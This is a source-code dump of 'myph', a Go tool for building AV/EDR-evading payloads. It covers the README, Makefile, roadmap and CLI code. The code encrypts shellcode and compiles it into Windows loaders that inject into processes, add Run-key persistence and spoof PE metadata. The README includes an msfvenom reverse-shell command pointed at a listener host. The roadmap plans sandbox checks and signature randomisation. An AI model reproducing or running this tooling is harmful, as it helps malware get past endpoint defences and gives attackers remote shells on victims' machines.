(at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | 676 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # Build configuration 2 | # ------------------- 3 | 4 | APP_NAME = myph 5 | APP_VERSION = 1.2.3 6 | GIT_REVISION = `git rev-parse HEAD` 7 | DOCKER_IMAGE_TAG ?= $(APP_VERSION) 8 | DOCKER_LOCAL_IMAGE = $(APP_NAME):$(DOCKER_IMAGE_TAG) 9 | 10 | # Introspection targets 11 | # --------------------- 12 | 13 | .PHONY: all 14 | all: compile 15 | 16 | 17 | .PHONY: help 18 | help: header targets 19 | 20 | .PHONY: header 21 | header: 22 | @echo "\033[34mEnvironment\033[0m" 23 | @echo "\033[34m---------------------------------------------------------------\033[0m" 24 | @printf "\033[33m%-23s\033[0m" "APP_NAME" 25 | @printf "\033[35m%s\033[0m" $(APP_NAME) 26 | @echo "" 27 | @printf "\033[33m%-23s\033[0m" "APP_VERSION" 28 | @printf "\033[35m%s\033[0m" $(APP_VERSION) 29 | @echo "" 30 | @printf "\033[33m%-23s\033[0m" "GIT_REVISION" 31 | @printf "\033[35m%s\033[0m" $(GIT_REVISION) 32 | @echo "" 33 | @printf "\033[33m%-23s\033[0m" "DOCKER_IMAGE_TAG" 34 | @printf "\033[35m%s\033[0m" $(DOCKER_IMAGE_TAG) 35 | @echo "" 36 | @printf "\033[33m%-23s\033[0m" "DOCKER_LOCAL_IMAGE" 37 | @printf "\033[35m%s\033[0m" $(DOCKER_LOCAL_IMAGE) 38 | @echo "\n" 39 | 40 | 41 | .PHONY: targets 42 | targets: 43 | @echo "\033[34mmyph targets:\033[0m" 44 | @perl -nle'print $& if m{^[a-zA-Z_-\d]+:.*?## .*$$}' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-22s\033[0m %s\n", $$1, $$2}' 45 | 46 | 47 | .PHONY: compile 48 | compile: ## compile the project 49 | @go build -o $(APP_NAME) . 50 | @printf "[ *** successfully built %s version %s *** ]\n" $(APP_NAME) $(APP_VERSION) 51 | 52 | .PHONY: clean 53 | clean: ## clean up the project directory 54 | @rm -vf $(APP_NAME) 55 | 56 | .PHONY: docker 57 | docker: ## build a local docker image 58 | @docker build . -t $(APP_NAME):latest -t $(APP_NAME):$(APP_VERSION) 59 | 60 | .PHONY: release-build 61 | release-build: ## makes a release build locally on the current commit 62 | @goreleaser release --skip=publish --snapshot 63 | -------------------------------------------------------------------------------- /NOTES.txt: -------------------------------------------------------------------------------- 1 | ############################# 2 | ######### RESOURCES ######### 3 | ############################# 4 | 5 | - https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20workshops/DEF%20CON%2029%20Workshop%20Ben%20Kurtz%20Writing%20Golang%20Malwar.pdf 6 | 7 | - https://evasions.checkpoint.com 8 | 9 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # myph 2 | 3 | AV/EDR bypass payload creation tool 4 | 5 | ## Disclaimer 6 | 7 | The access to and the use of the information on this repository is free of charge, 8 | but implies the tacit acceptance by the user of the following conditions, without prejudice to the applicable legal provisions. 9 | The user acknowledges that this repository is intended for informational purposes only and therefore serves only 10 | for general information and testing. The tool and this repository are carefully compiled on the basis of good sources and references. 11 | 12 | However, the developers cannot be held liable for for any damage, direct or indirect, of whatever nature as a result of 13 | or related to the access to or use of the software. 14 | 15 | > IOCs have voluntarily been added to the project. Don't open any issues regarding detections, it's pointless. 16 | > The goal of this project is to learn & teach. If you want a FUD loader, dont be a baby and make your own. 17 | 18 | ## How to use the software ? 19 | 20 | > Please note this project is under development & subject to changes. 21 | > Breaking changes can be introduced from release to release. 22 | 23 | ### Compiling or Installing the project 24 | 25 | You can easily compile like so: 26 | ```bash 27 | # if you have make installed 28 | make # you can also use `make help` to check recipes 29 | 30 | # if you don't 31 | go build -o myph . 32 | ``` 33 | 34 | > You can also grab the latest release from [here](https://github.com/mato7sh/myph/releases/) 35 | 36 | Finally, you can install from the [golang package repository](https://pkg.go.dev/github.com/mato7sh/myph) like so: 37 | ```bash 38 | # /!\ lowercase is important /!\ 39 | go install github.com/cmepw/myph@latest 40 | ``` 41 | 42 | ### Usage 43 | 44 | ``` 45 | Available Commands: 46 | completion Generate the autocompletion script for the specified shell 47 | help Help about any command 48 | spoof spoof PE metadata using versioninfo 49 | 50 | Flags: 51 | --api-hashing-type string Hashing algorithm used for API hashing (default "DJB2") 52 | -b, --binary-format string Binary format (exe,dll) (default "exe") 53 | -d, --debug builds binary with debug symbols 54 | -e, --encryption encKind encryption method. (allowed: AES, chacha20, XOR, blowfish) (default AES) 55 | -h, --help help for myph 56 | -k, --key string encryption key, auto-generated if empty. (if used by --encryption) 57 | -f, --out string output name (default "payload.exe") 58 | -z, --persistence string name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' reg key (default: "") 59 | -p, --process string target process to inject shellcode to (default "cmd.exe") 60 | -s, --shellcode string shellcode path (default "msf.raw") 61 | --sleep-time uint sleep time in seconds before executing loader (default: 0) 62 | -t, --technique string shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp, SetTimer) (default "CRT") 63 | --use-api-hashing Use API Hashing 64 | -v, --version version for myph 65 | ``` 66 | 67 | #### Loader Methods 68 | 69 | This tool supports few methods for now, but aims to add more as time goes on: 70 | - Syscall 71 | - CreateFiber 72 | - CreateThread 73 | - NtCreateThreadEx 74 | - Process hollowing 75 | - EnumCalendarInfoA 76 | - CreateRemoteThread 77 | - EtwpCreateEtwThread 78 | - CreateRemoteThreadEx 79 | - SetTimer 80 | 81 | If you don't know what that is about, go check out [this repository](https://github.com/matro7sh/BypassAV) :)~ 82 | 83 | 84 | #### Example run 85 | 86 | Generate a payload like so: 87 | 88 | ```bash 89 | # generate your payload 90 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.2 LPORT=1234 -f raw -o msf.raw 91 | 92 | # run myph (--shellcode is not mandatory here because we use the default value) 93 | ./myph --shellcode msf.raw --out something.exe 94 | 95 | # you should find your payload here 96 | file ./something.exe 97 | 98 | # add some program metada 99 | ./myph spoof --pe something.exe --file .github/test-data/example.json 100 | ``` 101 | 102 | #### Generate dll 103 | 104 | `./myph -s ~/opensource/myph/beacon.bin -t NtCreateThreadEx -b dll --out beacon.exe` 105 | 106 | #### Using docker 107 | 108 | ```bash 109 | # using makefile 110 | make docker 111 | 112 | # going through dockerfile directly 113 | docker build . -t myph:latest 114 | ``` 115 | 116 | #### Editing file properties 117 | 118 | A subcommand is available to edit a PE file's properties & change its icon or file version (for instance). 119 | For more information on CLI usage, you can run: 120 | ```bash 121 | # will give you a little help display 122 | ./myph spoof --help 123 | 124 | # will edit demo.exe with the data specified in example.json 125 | ./myph spoof --pe demo.exe --file example.json 126 | ``` 127 | 128 | It expects a JSON file, containing the metadata you want to set. You can find an example in `.github/test-data` directory. 129 | 130 | Information on resource types and language IDs can be found [here](https://learn.microsoft.com/en-us/windows/win32/menurc/resource-types) and [here](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-lcid/70feba9f-294e-491e-b6eb-56532684c37f). 131 | 132 | You can set data depending on the language. 133 | BMP, ICO, and PNG files are supported, and you can a wide array of information: 134 | 135 | ```json 136 | { 137 | "RT_VERSION": { 138 | "#1": { 139 | "0000": { 140 | "fixed": { 141 | "file_version": "1.2", 142 | "product_version": "1.2.3", 143 | "flags": "Debug,Patched", 144 | "timestamp": "2020-12-18T23:00:00+01:00" 145 | }, 146 | "info": { 147 | "0409": { 148 | "Comments": "that should do it", 149 | "CompanyName": "Smersh", 150 | "FileDescription": "smrsh 4 evr", 151 | "FileVersion": "1.2", 152 | "InternalName": "", 153 | "LegalCopyright": "GNU GPL v3", 154 | "LegalTrademarks": "", 155 | "OriginalFilename": "myph.exe", 156 | "PrivateBuild": "", 157 | "ProductName": "myph ldr", 158 | "ProductVersion": "1.2 release", 159 | "SpecialBuild": "" 160 | }, 161 | "040C": { 162 | "Comments": "ca devrait le faire", 163 | "CompanyName": "Smersh", 164 | "FileDescription": "smrh pr tjrs", 165 | "FileVersion": "1.2", 166 | "InternalName": "", 167 | "LegalCopyright": "GNU GPL v3", 168 | "LegalTrademarks": "", 169 | "OriginalFilename": "myph.exe", 170 | "PrivateBuild": "", 171 | "ProductName": "myph ldr", 172 | "ProductVersion": "1.2 release", 173 | "SpecialBuild": "" 174 | } 175 | } 176 | } 177 | } 178 | } 179 | } 180 | ``` 181 | 182 | ### Contributing 183 | 184 | Contributions are welcome, but please try to keep PRs short and issues descriptive. :)~ 185 | 186 | A guide on how to use the tool is in the works, please let us know if you're interested in helping out. 187 | -------------------------------------------------------------------------------- /TODO.txt: -------------------------------------------------------------------------------- 1 | ############################# 2 | ####### ROADMAP 1.2.3 ####### 3 | ############################# 4 | 5 | Misc: 6 | - support for loading API calls from PEB 7 | - Decrypt shellcode at the last possible time & split templates into trigger & prepare-payload functions 8 | 9 | 10 | ############################# 11 | ####### ROADMAP 1.3.0 ####### 12 | ############################# 13 | 14 | Commands: 15 | - Add support for signing binary 16 | 17 | Sleep / jitter: 18 | - Ekko 19 | 20 | Encoders: 21 | - add support for SGN 22 | 23 | 24 | Dll: 25 | - hijacking techniques (teams/onedrive) 26 | 27 | Misc: 28 | - indirect syscalls 29 | - support for dameonizing ? 30 | - introduce ppid spoofing ? 31 | - add support for passing arguments to payload from command-line 32 | 33 | 34 | ############################# 35 | ####### ROADMAP 1.4.0 ####### 36 | ############################# 37 | 38 | 39 | Misc: 40 | - add support for attaching to new processes 41 | - add support for multiple hashing algorithms for retrieving API calls through PEB 42 | - add support for variable assignment randomization 43 | -> should assign variables differently (as random as possible) in order to 44 | have different signatures each time 45 | - optionally implement sandbox checks 46 | 47 | -------------------------------------------------------------------------------- /cli/defaults.go: -------------------------------------------------------------------------------- 1 | package cli 2 | 3 | import ( 4 | "crypto/rand" 5 | ) 6 | 7 | // Get default value for Options struct 8 | func GetDefaultCLIOptions() Options { 9 | opts := Options{ 10 | ShellcodePath: "msf.raw", 11 | OutName: "payload", 12 | OS: "windows", 13 | Arch: "amd64", 14 | Target: "cmd.exe", 15 | Encryption: EncKindAES, 16 | Key: "", 17 | Technique: "CRT", 18 | SleepTime: 0, 19 | PEFilePath: "payload.exe", 20 | VersionFilePath: "goversion.json", 21 | WithDebug: false, 22 | BuildType: "exe", 23 | Persistence: "", 24 | UseAPIHashing: false, 25 | APIHashingType: "DJB2", 26 | } 27 | 28 | return opts 29 | } 30 | 31 | // Generate a random list of bytes 32 | func RandBytes(length int) []byte { 33 | b := make([]byte, length) 34 | rand.Read(b) 35 | return b 36 | } 37 | -------------------------------------------------------------------------------- /cli/parser.go: -------------------------------------------------------------------------------- 1 | package cli 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "os/exec" 7 | "path/filepath" 8 | 9 | "github.com/cmepw/myph/loaders" 10 | "github.com/cmepw/myph/rc" 11 | "github.com/cmepw/myph/tools" 12 | "github.com/spf13/cobra" 13 | "github.com/tc-hib/winres" 14 | ) 15 | 16 | const MYPH_TMP_DIR = "/tmp/myph-out" 17 | const MYPH_TMP_WITH_PAYLOAD = "/tmp/myph-out/payload." 18 | 19 | const ASCII_ART = ` 20 | ... -==[ M Y P H ]==- 21 | ;::::; 22 | ;::::; :; In loving memory of 23 | ;:::::' :; Wassyl Iaroslavovytch Slipak 24 | ;:::::; ;. 25 | ,:::::' ; OOO (1974 - 2016) 26 | ::::::; ; OOOOO 27 | ;:::::; ; OOOOOOOO 28 | ,;::::::; ;' / OOOOOOO 29 | ;::::::::: . ,,,;. / / DOOOOOO 30 | .';:::::::::::::::::;, / / DOOOO 31 | ,::::::;::::::;;;;::::;, / / DOOO AV / EDR evasion framework 32 | ; :::::: '::::::;;;::::: ,#/ / DOOO to pop shells and 33 | : ::::::: ;::::::;;::: ;::# / DOOO make the blue team cry 34 | :: ::::::: ;:::::::: ;::::# / DOO 35 | : ::::::: ;:::::: ;::::::#/ DOO 36 | ::: ::::::: ;; ;:::::::::## OO written with <3 by djnn 37 | :::: ::::::: ;::::::::;:::# OO ------ 38 | ::::: ::::::::::::;' :;::# O https://djnn.sh 39 | ::::: ::::::::; / / :# 40 | :::::: :::::; / / # 41 | 42 | 43 | ` 44 | 45 | func BuildLoader(opts *Options) *exec.Cmd { 46 | os.Setenv("GOOS", opts.OS) 47 | os.Setenv("GOARCH", opts.Arch) 48 | if opts.BuildType == "dll" { 49 | os.Setenv("CGO_ENABLED", "1") 50 | os.Setenv("CC", "x86_64-w64-mingw32-gcc") 51 | fmt.Println("[*] Compiling payload as dll...") 52 | 53 | if opts.WithDebug { 54 | return exec.Command("go", "build", "-buildmode=c-shared", "-o", "payload.dll", ".") 55 | } 56 | 57 | return exec.Command("go", "build", "-buildmode=c-shared", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.dll", ".") 58 | } else if opts.BuildType == "exe" { 59 | fmt.Println("[*] Compiling payload as executable...") 60 | 61 | if opts.WithDebug { 62 | return exec.Command("go", "build", "-o", "payload.exe", ".") 63 | } 64 | 65 | return exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".") 66 | } else { 67 | fmt.Printf("[!] Buildtype format not supported!") 68 | return nil 69 | } 70 | } 71 | 72 | func GetParser(opts *Options) *cobra.Command { 73 | 74 | version := "1.2.3" 75 | 76 | var spoofMetadata = &cobra.Command{ 77 | Use: "spoof", 78 | Version: version, 79 | DisableSuggestions: true, 80 | Short: "spoof PE metadata using versioninfo", 81 | Long: ASCII_ART, 82 | Run: func(cmd *cobra.Command, args []string) { 83 | 84 | /* obligatory skid ascii art */ 85 | fmt.Printf("%s\n\n", ASCII_ART) 86 | 87 | exe, err := os.Open(opts.PEFilePath) 88 | if err != nil { 89 | panic(err) 90 | } 91 | defer exe.Close() 92 | 93 | rs, err := winres.LoadFromEXE(exe) 94 | if err != nil { 95 | rs = &winres.ResourceSet{} 96 | } 97 | 98 | err = rc.LoadResourcesFromJson(rs, opts.VersionFilePath) 99 | if err != nil { 100 | panic(err) 101 | } 102 | 103 | fmt.Printf("[+] Successfully extracted PE metadata from JSON\n") 104 | 105 | tmpPath := "/tmp/" + filepath.Base(opts.PEFilePath) + ".tmp" 106 | out, err := os.Create(tmpPath) 107 | if err != nil { 108 | panic(err) 109 | } 110 | defer out.Close() 111 | 112 | err = rs.WriteToEXE(out, exe, winres.WithAuthenticode(winres.IgnoreSignature)) 113 | if err != nil { 114 | panic(err) 115 | } 116 | 117 | fmt.Printf("[+] New metadata is set !\n") 118 | 119 | exe.Close() 120 | out.Close() 121 | 122 | os.Remove(opts.PEFilePath) 123 | tools.MoveFile(tmpPath, opts.PEFilePath) 124 | 125 | fmt.Printf("[+] Done !\n") 126 | }, 127 | } 128 | 129 | var runLoader = &cobra.Command{ 130 | Use: "myph", 131 | Version: version, 132 | DisableSuggestions: true, 133 | Short: "AV/EDR evasion framework", 134 | Long: ASCII_ART, 135 | Run: func(cmd *cobra.Command, args []string) { 136 | 137 | /* obligatory skid ascii art */ 138 | fmt.Printf("%s\n\n", ASCII_ART) 139 | 140 | /* later, we will call "go build" on a golang project, so we need to set up the project tree */ 141 | err := tools.CreateTmpProjectRoot(MYPH_TMP_DIR, opts.Persistence) 142 | if err != nil { 143 | fmt.Printf("[!] Error generating project root: %s\n", err) 144 | os.Exit(1) 145 | } 146 | 147 | if opts.UseAPIHashing { 148 | fmt.Printf("[+] Retrieving dependencies to use API Hashing...\n") 149 | 150 | execGoGetCmd := exec.Command("go", "get", "github.com/Binject/debug/pe") 151 | execGoGetCmd.Dir = MYPH_TMP_DIR 152 | _, _ = execGoGetCmd.Output() 153 | 154 | if opts.WithDebug { 155 | // if running debug, we want to have the local internals because 156 | // it makes development easier 157 | 158 | fmt.Printf("[+] Running \"cp -r ./internals /tmp/myph-out\"\n") 159 | 160 | execGoGetCmd = exec.Command("cp", "-r", "./internals", MYPH_TMP_DIR) 161 | execGoGetCmd.Dir = "." 162 | _, _ = execGoGetCmd.Output() 163 | 164 | } else { 165 | // this should stay to cmepw addr 166 | execGoGetCmd = exec.Command("go", "get", "github.com/cmepw/myph/internals") 167 | execGoGetCmd.Dir = MYPH_TMP_DIR 168 | _, _ = execGoGetCmd.Output() 169 | } 170 | 171 | } 172 | 173 | /* reading the shellcode as a series of bytes */ 174 | shellcode, err := tools.ReadFile(opts.ShellcodePath) 175 | if err != nil { 176 | fmt.Printf("[!] Error reading shellcode file: %s\n", err.Error()) 177 | os.Exit(1) 178 | } 179 | 180 | /* generating a random key if none are selected */ 181 | if opts.Key == "" { 182 | opts.Key = tools.RandomString(32) 183 | } 184 | 185 | fmt.Printf("[+] Selected algorithm: %s (Key: %s)\n", opts.Encryption.String(), opts.Key) 186 | 187 | /* encoding defines the way the series of bytes will be written into the template */ 188 | encType := tools.SelectRandomEncodingType() 189 | 190 | fmt.Printf("\tEncoding into template with [%s]\n", encType.String()) 191 | 192 | /* 193 | depending on encryption type, we do the following: 194 | 195 | - encrypt shellcode with key 196 | - write both encrypted & key to file 197 | - write to encrypt.go 198 | - write to go.mod the required dependencies 199 | */ 200 | 201 | var encrypted = []byte{} 202 | var template = "" 203 | 204 | switch opts.Encryption { 205 | case EncKindAES: 206 | encrypted, err = tools.EncryptAES(shellcode, []byte(opts.Key)) 207 | if err != nil { 208 | fmt.Println("[!] Could not encrypt with AES") 209 | panic(err) 210 | } 211 | template = tools.GetAESTemplate() 212 | 213 | case EncKindXOR: 214 | encrypted, err = tools.EncryptXOR(shellcode, []byte(opts.Key)) 215 | if err != nil { 216 | fmt.Println("[!] Could not encrypt with XOR") 217 | panic(err) 218 | } 219 | template = tools.GetXORTemplate() 220 | 221 | case EncKindC20: 222 | encrypted, err = tools.EncryptChacha20(shellcode, []byte(opts.Key)) 223 | if err != nil { 224 | fmt.Println("[!] Could not encrypt with ChaCha20") 225 | panic(err) 226 | } 227 | 228 | /* Running `go get "golang.org/x/crypto/chacha20poly1305"` in MYPH_TMP_DIR` */ 229 | execCmd := exec.Command("go", "get", "golang.org/x/crypto/chacha20poly1305") 230 | execCmd.Dir = MYPH_TMP_DIR 231 | 232 | _, _ = execCmd.Output() 233 | template = tools.GetChacha20Template() 234 | 235 | case EncKindBLF: 236 | encrypted, err = tools.EncryptBlowfish(shellcode, []byte(opts.Key)) 237 | if err != nil { 238 | fmt.Println("[!] Could not encrypt with Blowfish") 239 | panic(err) 240 | } 241 | 242 | /* Running `go get golang.org/x/crypto/blowfish in MYPH_TMP_DIR` */ 243 | execCmd := exec.Command("go", "get", "golang.org/x/crypto/blowfish") 244 | execCmd.Dir = MYPH_TMP_DIR 245 | 246 | _, _ = execCmd.Output() 247 | template = tools.GetBlowfishTemplate() 248 | } 249 | 250 | /* write decryption routine template */ 251 | err = tools.WriteToFile(MYPH_TMP_DIR, "encrypt.go", template) 252 | if err != nil { 253 | panic(err) 254 | } 255 | 256 | /* FIXME(djnn): this should not work like this but instead have a flag and an array of techniques like the rest */ 257 | persistData := "" 258 | if opts.Persistence != "" { 259 | persistData = fmt.Sprintf(`persistExecute("%s")`, opts.Persistence) 260 | execCmd := exec.Command("go", "get", "golang.org/x/sys/windows/registry") 261 | execCmd.Dir = MYPH_TMP_DIR 262 | _, _ = execCmd.Output() 263 | 264 | template = tools.GetPersistTemplate() 265 | err = tools.WriteToFile(MYPH_TMP_DIR, "persist.go", template) 266 | if err != nil { 267 | panic(err) 268 | } 269 | fmt.Printf("\nUsing persistence technique, file will be installed to %%APPDATA%%\\%s\n", opts.Persistence) 270 | } 271 | 272 | /* write main execution template */ 273 | encodedShellcode := tools.EncodeForInterpolation(encType, encrypted) 274 | encodedKey := tools.EncodeForInterpolation(encType, []byte(opts.Key)) 275 | err = tools.WriteToFile( 276 | MYPH_TMP_DIR, 277 | "main.go", 278 | tools.GetMainTemplate( 279 | encType.String(), 280 | encodedKey, 281 | encodedShellcode, 282 | opts.SleepTime, 283 | persistData, 284 | opts.BuildType == "dll", 285 | ), 286 | ) 287 | if err != nil { 288 | panic(err) 289 | } 290 | 291 | templateFunc := loaders.SelectTemplate(opts.Technique, opts.UseAPIHashing, opts.APIHashingType) 292 | if templateFunc == nil { 293 | fmt.Printf("[!] Could not find a technique for this method: %s\n", opts.Technique) 294 | os.Exit(1) 295 | } 296 | 297 | err = tools.WriteToFile(MYPH_TMP_DIR, "exec.go", templateFunc(opts.Target)) 298 | if err != nil { 299 | panic(err) 300 | } 301 | 302 | fmt.Printf("\n[+] Template (%s) written to tmp directory. Compiling...\n", opts.Technique) 303 | 304 | execCmd := BuildLoader(opts) 305 | execCmd.Dir = MYPH_TMP_DIR 306 | 307 | var stderr error 308 | _, stderr = execCmd.Output() 309 | 310 | if stderr != nil { 311 | 312 | command := "go build -ldflags \"-s -w -H=windowsgui\" -o payload.exe" 313 | if opts.BuildType == "dll" { 314 | command = "CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared -ldflags \"-s -w -H=windowsgui\" -o payload.dll" 315 | } 316 | 317 | fmt.Printf("[!] error compiling shellcode: %s\n", stderr.Error()) 318 | fmt.Printf( 319 | "\nYou may try to run the following command in %s to find out what happend:\n\n GOOS=%s GOARCH=%s %s\n\n", 320 | MYPH_TMP_DIR, 321 | opts.OS, 322 | opts.Arch, 323 | command, 324 | ) 325 | 326 | fmt.Println("If you want to submit a bug report, please add the output from this command...Thank you <3") 327 | os.Exit(1) 328 | } 329 | 330 | format := "exe" 331 | if opts.BuildType == "dll" { 332 | format = "dll" 333 | } 334 | tools.MoveFile(MYPH_TMP_WITH_PAYLOAD+format, opts.OutName+"."+format) 335 | os.RemoveAll(MYPH_TMP_DIR) 336 | 337 | fmt.Printf("[+] Done! Compiled payload: %s\n", opts.OutName+"."+opts.BuildType) 338 | }, 339 | } 340 | 341 | defaults := GetDefaultCLIOptions() 342 | var rootCmd = runLoader 343 | 344 | rootCmd.AddCommand(spoofMetadata) 345 | 346 | rootCmd.Flags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name") 347 | rootCmd.Flags().StringVarP(&opts.BuildType, "binary-format", "b", defaults.BuildType, "Binary format (exe,dll)") 348 | rootCmd.Flags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path") 349 | rootCmd.Flags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to") 350 | rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp, SetTimer)") 351 | rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)") 352 | rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)") 353 | rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)") 354 | rootCmd.Flags().BoolVarP(&opts.WithDebug, "debug", "d", false, "builds binary with debug symbols") 355 | rootCmd.Flags().BoolVarP(&opts.UseAPIHashing, "use-api-hashing", "", false, "Use API Hashing") 356 | // TODO(djnn): re-add this flag once supported 357 | // rootCmd.Flags().StringVarP(&opts.APIHashingType, "api-hashing-type", "", "DJB2", "Hashing algorithm used for API hashing") 358 | rootCmd.Flags().StringVarP(&opts.Persistence, "persistence", "z", defaults.Persistence, "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' reg key (default: \"\")") 359 | 360 | spoofMetadata.Flags().StringVarP(&opts.PEFilePath, "pe", "p", defaults.PEFilePath, "PE file to spoof") 361 | spoofMetadata.Flags().StringVarP(&opts.VersionFilePath, "file", "f", defaults.VersionFilePath, "manifest file path (as JSON)") 362 | 363 | return rootCmd 364 | 365 | } 366 | -------------------------------------------------------------------------------- /cli/types.go: -------------------------------------------------------------------------------- 1 | package cli 2 | 3 | import "errors" 4 | 5 | // encryption kind (used for CLI) 6 | type encKind string 7 | 8 | // shellcode-loading technique kind (used for CLI) 9 | type technique string 10 | 11 | // API-hash method 12 | type apiHashTechnique string 13 | 14 | const ( 15 | DJB2 apiHashTechnique = "DJB2" 16 | SHA1 apiHashTechnique = "SHA1" 17 | SHA256 apiHashTechnique = "SHA256" 18 | SHA512 apiHashTechnique = "SHA512" 19 | 20 | EncKindAES encKind = "AES" 21 | EncKindXOR encKind = "XOR" 22 | EncKindBLF encKind = "blowfish" 23 | EncKindC20 encKind = "chacha20" 24 | 25 | CRT technique = "CRT" 26 | CRTx technique = "CRTx" 27 | ETWP technique = "Etwp" 28 | SYSCALL technique = "Syscall" 29 | SYSCALLTEST technique = "SyscallTest" 30 | NtCreateThreadEx technique = "NtCreateThreadEx" 31 | CreateFiber technique = "CreateFiber" 32 | CreateThread technique = "CreateThread" 33 | ProcessHollowing technique = "ProcessHollowing" 34 | EnumCalendarInfoA technique = "EnumCalendarInfoA" 35 | ) 36 | 37 | // String is used both by fmt.Print and by Cobra in help text 38 | func (e *apiHashTechnique) String() string { 39 | return string(*e) 40 | } 41 | 42 | // Set must have pointer receiver so it doesn't change the value of a copy 43 | func (e *apiHashTechnique) Set(v string) error { 44 | switch v { 45 | case "DJB2", "SHA1", "SHA256", "SJA512": 46 | *e = apiHashTechnique(v) 47 | return nil 48 | default: 49 | return errors.New("must be one of \"DJB2\", \"SHA1\", \"SHA256\" or \"SHA512\"\n\n") 50 | } 51 | } 52 | 53 | // Type is only used in help text 54 | func (e *apiHashTechnique) Type() string { 55 | return "API Hash technique" 56 | } 57 | 58 | // String is used both by fmt.Print and by Cobra in help text 59 | func (e *encKind) String() string { 60 | return string(*e) 61 | } 62 | 63 | // Set must have pointer receiver so it doesn't change the value of a copy 64 | func (e *encKind) Set(v string) error { 65 | switch v { 66 | case "AES", "XOR", "blowfish", "chacha20": 67 | *e = encKind(v) 68 | return nil 69 | default: 70 | return errors.New("must be one of \"chacha20\", \"AES\", \"blowfish\" or \"XOR\"\n\n") 71 | } 72 | } 73 | 74 | // Type is only used in help text 75 | func (e *encKind) Type() string { 76 | return "encKind" 77 | } 78 | 79 | // String is used both by fmt.Print and by Cobra in help text 80 | func (e *technique) String() string { 81 | return string(*e) 82 | } 83 | 84 | // Set must have pointer receiver so it doesn't change the value of a copy 85 | func (e *technique) Set(v string) error { 86 | switch v { 87 | case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx", "Etwp", "NtCreateThreadEx", "EnEnumCalendarInfoA", "SetTimer": 88 | *e = technique(v) 89 | return nil 90 | default: 91 | return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"NTCreateThreadEx\", \"EnumCalendarInfoA\", \"Etwp\", \"SetTimer\", \"ProcessHollowing\" or \"CreateThread\"\n\n") 92 | } 93 | } 94 | 95 | // Type is only used in help text 96 | func (e *technique) Type() string { 97 | return "technique" 98 | } 99 | 100 | type Options struct { 101 | 102 | // Shellcode encryption method 103 | Encryption encKind 104 | 105 | // Encryption key (if needed) 106 | Key string 107 | 108 | // Shellcode path 109 | ShellcodePath string 110 | 111 | // OutName path 112 | OutName string 113 | 114 | // os compilation target 115 | OS string 116 | 117 | // Arch compilation target 118 | Arch string 119 | 120 | // target process name to inject 121 | Target string 122 | 123 | // Shellcode loading method 124 | Technique string 125 | 126 | // Sleep time before running execution 127 | SleepTime uint 128 | 129 | // Registry-Persistence handler 130 | Persistence string 131 | 132 | // Goversion filepath 133 | VersionFilePath string 134 | 135 | // PE filepath 136 | PEFilePath string 137 | 138 | // Builds with debug symbol 139 | WithDebug bool 140 | 141 | // Use API-hashing 142 | UseAPIHashing bool 143 | 144 | // API hashing algorithm 145 | APIHashingType string 146 | 147 | // Build type 148 | BuildType string 149 | } 150 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/cmepw/myph 2 | 3 | go 1.19 4 | 5 | require ( 6 | github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a 7 | github.com/spf13/cobra v1.7.0 8 | github.com/tc-hib/winres v0.2.0 9 | golang.org/x/crypto v0.11.0 10 | ) 11 | 12 | require ( 13 | github.com/inconshreveable/mousetrap v1.1.0 // indirect 14 | github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 // indirect 15 | 